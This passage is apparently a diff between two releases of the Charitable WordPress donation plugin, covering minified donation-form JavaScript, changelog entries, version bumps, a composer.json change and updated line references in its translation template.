$modal=this.form.parents(\".charitable-modal\");if($modal.length){$modal.scrollTop(0)}else{window.scrollTo(this.form.offset().left,this.form.offset().top)}};Donation_Form.prototype.cancel_processing=function(errors){this.hide_processing();this.print_errors(errors);var error_notice_donation_display=typeof CHARITABLE_VARS.error_notice_donation_display===\"undefined\"?\"top\":CHARITABLE_VARS.error_notice_donation_display;if(\"\"===error_notice_donation_display||\"top\"===error_notice_donation_display){this.scroll_to_top()}this.form.trigger(\"charitable:form:cancelled\",this)};Donation_Form.prototype.set_donation_id=function(donation_id){this.form.find(\"[name=ID]\").val(donation_id)};Donation_Form.prototype.get_data=function(){return this.form.serializeArray().reduce(function(obj,item){if(\"[]\"===item.name.slice(-2)){var name=item.name.slice(0,-2);if(!obj.hasOwnProperty(name)){obj[name]=[]}obj[name].push(item.value)}else{obj[item.name]=item.value}return obj},{})};Donation_Form.prototype.get_required_fields=function(){var fields=this.form.find(\".charitable-fieldset .required-field\").not(\"#charitable-gateway-fields .required-field\"),method=this.get_payment_method();if(\"\"!==method){var gateway_fields=this.form.find(\"[data-gateway=\"+method+\"] .required-field\");if(gateway_fields.length){fields=$.merge(fields,gateway_fields)}}return fields};Donation_Form.prototype.subtotal_exceeds_maximum=function(){return\"\"!==CHARITABLE_VARS.maximum_donation&&this.get_subtotal()>parseFloat(CHARITABLE_VARS.maximum_donation)};Donation_Form.prototype.is_valid_amount=function(){var minimum=parseFloat(CHARITABLE_VARS.minimum_donation);if(this.subtotal_exceeds_maximum()){return false}return minimum>0||CHARITABLE_VARS.permit_0_donation?this.get_subtotal()>=minimum:this.get_subtotal()>minimum};Donation_Form.prototype.validate_amount=function(){if(false===this.is_valid_amount()){if(this.get_subtotal()>0&&this.subtotal_exceeds_maximum()){this.add_error(CHARITABLE_VARS.error_max_exceeded)}else{this.add_error(CHARITABLE_VARS.error_invalid_amount)}return false}return true};Donation_Form.prototype.validate_required_fields=function(){var has_all_required_fields=true;this.get_required_fields().each(function(){if(\"\"===$(this).find(\"input, select, textarea\").val()){has_all_required_fields=false}});if(!has_all_required_fields){this.add_error(CHARITABLE_VARS.error_required_fields)}return has_all_required_fields};Donation_Form.prototype.validate=function(){this.clear_errors();this.validate_amount();this.validate_required_fields();this.form.trigger(\"charitable:form:validate\",this);return this.errors.length===0};exports.Donation_Form=Donation_Form})(CHARITABLE,jQuery);(function(exports,$){var Toggle=function(){var hide_target=function(){get_target($(this)).addClass(\"charitable-hidden\")};var get_target=function($el){var target=$el.data(\"charitable-toggle\");if(target[0]!==\".\"&&target[0]!==\"#\"){target=\"#\"+target}return $(target)};var on_toggle=function(){var $this=$(this),$target=get_target($this);$target.toggleClass(\"charitable-hidden\",function(){if($this.is(\":checkbox\")){return!$this.is(\":checked\")}return false===$target.hasClass(\"charitable-hidden\")}());return false};var init=function(){$(\"[data-charitable-toggle]\").each(hide_target)};$(\"body\").on(\"click\",\"[data-charitable-toggle]\",on_toggle);if(exports.content_loading){var timer=setInterval(function(){if(false===exports.content_loading){init();clearInterval(timer)}},500)}return init};exports.Toggle=Toggle()})(CHARITABLE,jQuery);CHARITABLE.VersionCompare=function(version,compare){compare=compare||CHARITABLE_VARS.version;if(typeof version+typeof compare!=\"stringstring\")return false;var a=version.split(\".\"),b=compare.split(\".\"),i=0,len=Math.max(a.length,b.length);for(;i\u003Clen;i++){if(a[i]&&!b[i]&&parseInt(a[i])>0||parseInt(a[i])>parseInt(b[i])){return 1}else if(b[i]&&!a[i]&&parseInt(b[i])>0||parseInt(a[i])\u003CparseInt(b[i])){return-1}}return 0};(function(exports,$){CHARITABLE.ResetSuggestedDonations=function(){if($(\".charitable-donation-options\").length=0){return false}$('ul.donation-amounts input[type=\"radio\"]').each(function(){if($(this).is(\":checked\")){$(this).closest(\"li\").addClass(\"selected\")}else{$(this).closest(\"li\").removeClass(\"selected\")}})}})(CHARITABLE,jQuery);(function($){CHARITABLE.forms_initialized=false;$(document).ready(function(){$(\"html\").addClass(\"js\");var forms=[];$(\".charitable-donation-form\").each(function(){forms.push(new CHARITABLE.Donation_Form($(this)))});CHARITABLE.Toggle();CHARITABLE.ResetSuggestedDonations()})})(jQuery);\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002FCHANGELOG.md \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002FCHANGELOG.md\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002FCHANGELOG.md\t2026-04-06 18:17:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002FCHANGELOG.md\t2026-05-11 23:16:48.000000000 +0000\n@@ -1,10 +1,17 @@\n-# v1.8.10.4\n+# 1.8.10.5\n+* NEW: Redesigned the \"What's New\" splash screen with a new hero section, video, and upgrade buttons.\n+* NEW: Added a Form navigation icon in the campaign builder.\n+* IMPROVED: System Info now includes a Hosting Environment section.\n+* FIX: Hardened input handling in the donations admin search to improve query safety.\n+* FIX: Resolved a custom donation amount parsing issue with the decimal separator on non-US currency sites in certain scenarios.\n+\n+# 1.8.10.4\n * FIX: Fixed an issue where multiple Stripe webhook endpoints could accumulate over time, causing donation webhook events to fail signature verification in certain scenarios.\n \n-# v1.8.10.3\n+# 1.8.10.3\n * IMPROVED: Sync Pending Stripe Donations now uses AJAX processing with new dry run and email options.\n * FIX: Improved Stripe webhook reliability, signing secret handling, and notice wording in certain scenarios.\n-* FIX: Fixed refund checkbox not appearing when changing donation status to Refunded in certain scenarios.\n+* FIX: Fixed refund checkbox not appearing when changing donation status to Refunded in certain scenarios\n \n # 1.8.10.2\n * NEW: Added Sync Pending Stripe Donations tool to gateway settings (beta).\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fcharitable.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fcharitable.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fcharitable.php\t2026-04-06 18:17:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fcharitable.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -3,11 +3,11 @@\n  * Plugin Name: Charitable\n  * Plugin URI: https:\u002F\u002Fwww.wpcharitable.com\n  * Description: The best WordPress donation plugin. Fundraising with recurring donations, and powerful features to help you raise more money online.\n- * Version: 1.8.10.4\n+ * Version: 1.8.10.5\n  * Author: Charitable Donations & Fundraising Team\n  * Author URI: https:\u002F\u002Fwpcharitable.com\n  * Requires at least: 5.0\n- * Stable tag: 1.8.10.4\n+ * Stable tag: 1.8.10.5\n  * License: GPLv2 or later\n  * License URI: https:\u002F\u002Fwww.gnu.org\u002Flicenses\u002Fold-licenses\u002Fgpl-2.0.html\n  *\n@@ -39,7 +39,7 @@\n \t\tconst AUTHOR = 'WP Charitable';\n \n \t\t\u002F* Plugin version. *\u002F\n-\t\tconst VERSION = '1.8.10.4';\n+\t\tconst VERSION = '1.8.10.5';\n \n \t\t\u002F* Version of database schema. *\u002F\n \t\tconst DB_VERSION = '20180522';\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fcomposer.json \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fcomposer.json\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fcomposer.json\t2026-01-01 16:41:46.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fcomposer.json\t2026-05-11 23:16:48.000000000 +0000\n@@ -8,6 +8,7 @@\n \t\t\t\"Charitable\\\\\": \"includes\u002F\"\n \t\t}\n \t},\n-\t\"require\": {}\n+\t\"require-dev\": {\n+\t\t\"yoast\u002Fphpunit-polyfills\": \"^4.0\"\n+\t}\n }\n-\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fi18n\u002Flanguages\u002Fcharitable.pot \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fi18n\u002Flanguages\u002Fcharitable.pot\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fi18n\u002Flanguages\u002Fcharitable.pot\t2026-04-06 18:17:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fi18n\u002Flanguages\u002Fcharitable.pot\t2026-05-11 23:16:48.000000000 +0000\n@@ -2,14 +2,14 @@\n # This file is distributed under the GPLv2 or later.\n msgid \"\"\n msgstr \"\"\n-\"Project-Id-Version: Charitable 1.8.10.1\\n\"\n+\"Project-Id-Version: Charitable 1.8.10.5\\n\"\n \"Report-Msgid-Bugs-To: https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Fcharitable\\n\"\n \"Last-Translator: Charitable Team\\n\"\n \"Language-Team: Charitable Team\\n\"\n \"MIME-Version: 1.0\\n\"\n \"Content-Type: text\u002Fplain; charset=UTF-8\\n\"\n \"Content-Transfer-Encoding: 8bit\\n\"\n-\"POT-Creation-Date: 2026-03-26T15:17:40+00:00\\n\"\n+\"POT-Creation-Date: 2026-05-11T18:57:58+00:00\\n\"\n \"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\\n\"\n \"X-Generator: WP-CLI 2.12.0\\n\"\n \"X-Domain: charitable\\n\"\n@@ -63,7 +63,13 @@\n #: charitable.php:1311\n #: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:402\n #: includes\u002Fadmin\u002Fclass-charitable-admin-getting-started.php:521\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1555\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1601\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:253\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:313\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:334\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:355\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:376\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:397\n #: includes\u002Fadmin\u002Fviews\u002Fchecklist\u002Fchecklist.php:135\n msgid \"Upgrade to Pro\"\n msgstr \"\"\n@@ -4828,12 +4834,12 @@\n msgstr \"\"\n \n #. translators: %s: action id\n-#: includes\u002Fabstracts\u002Fabstract-class-charitable-admin-actions.php:270\n+#: includes\u002Fabstracts\u002Fabstract-class-charitable-admin-actions.php:279\n #, php-format\n msgid \"Action \\\"%s\\\" is not registered.\"\n msgstr \"\"\n \n-#: includes\u002Fabstracts\u002Fabstract-class-charitable-admin-actions.php:440\n+#: includes\u002Fabstracts\u002Fabstract-class-charitable-admin-actions.php:449\n #: includes\u002Fadmin\u002Fviews\u002Fmetaboxes\u002Factions.php:86\n msgid \"Submit\"\n msgstr \"\"\n@@ -4867,8 +4873,8 @@\n msgstr \"\"\n \n #: includes\u002Fabstracts\u002Fabstract-class-charitable-email.php:385\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1021\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1444\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1037\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1462\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Ftemplates\u002Fclass-templates.php:1727\n #: includes\u002Fadmin\u002Fcampaigns\u002Fclass-charitable-campaign-list-table.php:181\n msgid \"Preview\"\n@@ -4994,15 +5000,15 @@\n #: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:107\n #: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:136\n #: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:151\n-#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:935\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:930\n+#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1099\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:935\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-marketing.php:477\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-payment.php:575\n #: includes\u002Fadmin\u002Fcampaigns\u002Fclass-charitable-campaign-list-table.php:784\n #: includes\u002Fadmin\u002Fcharitable-admin-addons-functions.php:300\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2151\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2690\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2720\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2197\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2736\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2766\n #: includes\u002Fadmin\u002Fdonations\u002Fclass-charitable-donation-list-table.php:1185\n #: includes\u002Fadmin\u002Fplugins\u002Fclass-charitable-admin-plugins-third-party.php:675\n msgid \"Activate\"\n@@ -5014,10 +5020,10 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:109\n-#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1016\n+#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1180\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Ftemplates\u002Fclass-templates.php:1715\n #: includes\u002Fadmin\u002Fcharitable-admin-addons-functions.php:289\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1000\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1046\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:341\n #: includes\u002Fadmin\u002Fviews\u002Fcampaigns-page\u002Fexport-form.php:56\n #: includes\u002Fadmin\u002Fviews\u002Fcampaigns-page\u002Ffilter-form.php:39\n@@ -5026,20 +5032,20 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:110\n-#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:929\n+#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1093\n msgid \"Deactivate\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:111\n-#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1017\n+#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1181\n #: includes\u002Fadmin\u002Fcharitable-admin-addons-functions.php:297\n #: includes\u002Fadmin\u002Fviews\u002Fmetaboxes\u002Fcampaign-benefactors\u002Fsummary.php:27\n msgid \"Inactive\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:112\n-#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:953\n-#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:958\n+#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1117\n+#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1122\n msgid \"Install Addon\"\n msgstr \"\"\n \n@@ -5058,14 +5064,14 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:131\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:696\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:701\n #: includes\u002Fadmin\u002Fclass-charitable-admin.php:361\n #: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-checklist.php:827\n msgid \"OK\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:132\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:695\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:700\n #: includes\u002Fadmin\u002Fclass-charitable-admin.php:362\n #: includes\u002Fadmin\u002Fviews\u002Fmetaboxes\u002Fcampaign-benefactors\u002Fform.php:54\n #: includes\u002Fadmin\u002Fviews\u002Fmetaboxes\u002Fdonation\u002Fdonation-form-meta.php:36\n@@ -5073,16 +5079,16 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:133\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:698\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1654\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:703\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1672\n #: includes\u002Fadmin\u002Fviews\u002Fmetaboxes\u002Fcampaign-benefactors\u002Fsummary.php:34\n msgid \"Close\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:134\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:884\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:899\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:914\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:889\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:904\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:919\n msgid \"Install and Activate\"\n msgstr \"\"\n \n@@ -5119,7 +5125,7 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:144\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:771\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:776\n msgid \"Something went wrong\"\n msgstr \"\"\n \n@@ -5146,13 +5152,13 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:152\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2696\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2742\n #: includes\u002Fadmin\u002Fplugins\u002Fclass-charitable-admin-plugins-third-party.php:720\n msgid \"Setup\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:153\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1036\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1052\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-settings.php:52\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fmarketing\u002Fclass-marketing-active-campaign.php:170\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fmarketing\u002Fclass-marketing-aweber.php:170\n@@ -5182,16 +5188,6 @@\n #: includes\u002Fadmin\u002Fclass-charitable-admin-pages.php:243\n #: includes\u002Fadmin\u002Fclass-charitable-admin.php:1209\n #: includes\u002Fadmin\u002Ftemplates\u002Fcampaign-builder-onboarding.php:65\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-progress-bar\u002Fbuild\u002Findex.js:90\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-stats\u002Fbuild\u002Findex.js:109\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Findex.js:161\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex-min.js:4\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex.js:111\n-#: assets\u002Fjs\u002Fblocks\u002Fdonations\u002Fbuild\u002Findex.js:94\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:131\n-#: assets\u002Fjs\u002Fblocks\u002Fmy-donations\u002Fbuild\u002Findex.js:93\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:93\n-#: assets\u002Fjs\u002Fblocks\u002Fmy-donations\u002Fbuild\u002Findex.js:69\n msgid \"Settings\"\n msgstr \"\"\n \n@@ -5224,7 +5220,7 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:163\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1601\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1647\n msgid \"Activating...\"\n msgstr \"\"\n \n@@ -5284,10 +5280,10 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:422\n-#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:853\n+#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1017\n #: includes\u002Fadmin\u002Fcampaigns\u002Fclass-charitable-campaign-list-table.php:775\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2213\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2726\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2259\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2772\n #: includes\u002Fadmin\u002Fdonations\u002Fclass-charitable-donation-list-table.php:1176\n #: includes\u002Fadmin\u002Fviews\u002Ftools\u002Fsnippets.php:131\n msgid \"Installed\"\n@@ -5314,35 +5310,43 @@\n msgid \"Search Addons\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:848\n+#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:929\n+msgid \"Charitable Pro is the upgraded version of your current Charitable plugin, with built-in features and compatibility for more advanced addons. Installing Pro will replace this Lite version while keeping all your existing settings and data.\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:983\n+msgid \"All Plans\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1012\n msgid \"Included In Pro\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:913\n+#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1077\n #: includes\u002Fadmin\u002Fclass-charitable-admin-getting-started.php:460\n #: includes\u002Fadmin\u002Fviews\u002Fchecklist\u002Fchecklist.php:593\n msgid \"Upgrade Now\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:994\n+#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1158\n msgid \"License Data Warning:\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:995\n+#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1159\n msgid \"Some addon download URLs appear to be invalid. This may indicate that your license data is not fully synchronized with the license server. You may need to reconnect your license by removing it and adding it back in the\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:997\n+#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1161\n msgid \"Charitable Settings page\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1018\n+#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1182\n #: includes\u002Fadmin\u002Fcharitable-admin-addons-functions.php:311\n msgid \"Not Installed\"\n msgstr \"\"\n \n #. translators: %s - addon name.\n-#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1080\n+#: includes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php:1244\n #, php-format\n msgid \"%s addon\"\n msgstr \"\"\n@@ -5439,7 +5443,7 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fcampaign-congrats-wizard\u002Fpopup.php:38\n-#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1884\n+#: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-setup.php:1922\n msgid \"Congratulations!\"\n msgstr \"\"\n \n@@ -5654,12 +5658,6 @@\n #: templates\u002Fdonation-stats.php:35\n #: templates\u002Fprint\u002Foverview.php:100\n #: templates\u002Fshortcodes\u002Fmy-donations.php:51\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-progress-bar\u002Fbuild\u002Findex.js:92\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex-min.js:4\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex.js:113\n-#: assets\u002Fjs\u002Fblocks\u002Fdonations\u002Fbuild\u002Findex.js:104\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:169\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:136\n msgid \"Campaign\"\n msgstr \"\"\n \n@@ -5674,7 +5672,7 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-campaign-builder-preview.php:262\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3624\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3670\n msgid \"Documentation\"\n msgstr \"\"\n \n@@ -5719,353 +5717,353 @@\n msgid \"Write Your Campaign's Story Here\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:683\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:688\n msgid \"And\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:686\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:691\n msgid \"Add New Choices\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:687\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:692\n msgid \"Bulk Add\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:688\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:693\n msgid \"Are you sure you want to leave? You have unsaved changes\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:689\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:694\n msgid \"Hide Bulk Add\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:690\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:695\n msgid \"Add Choices (one per line)\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:691\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:696\n msgid \"Show presets\"\n msgstr \"\"\n \n-#: 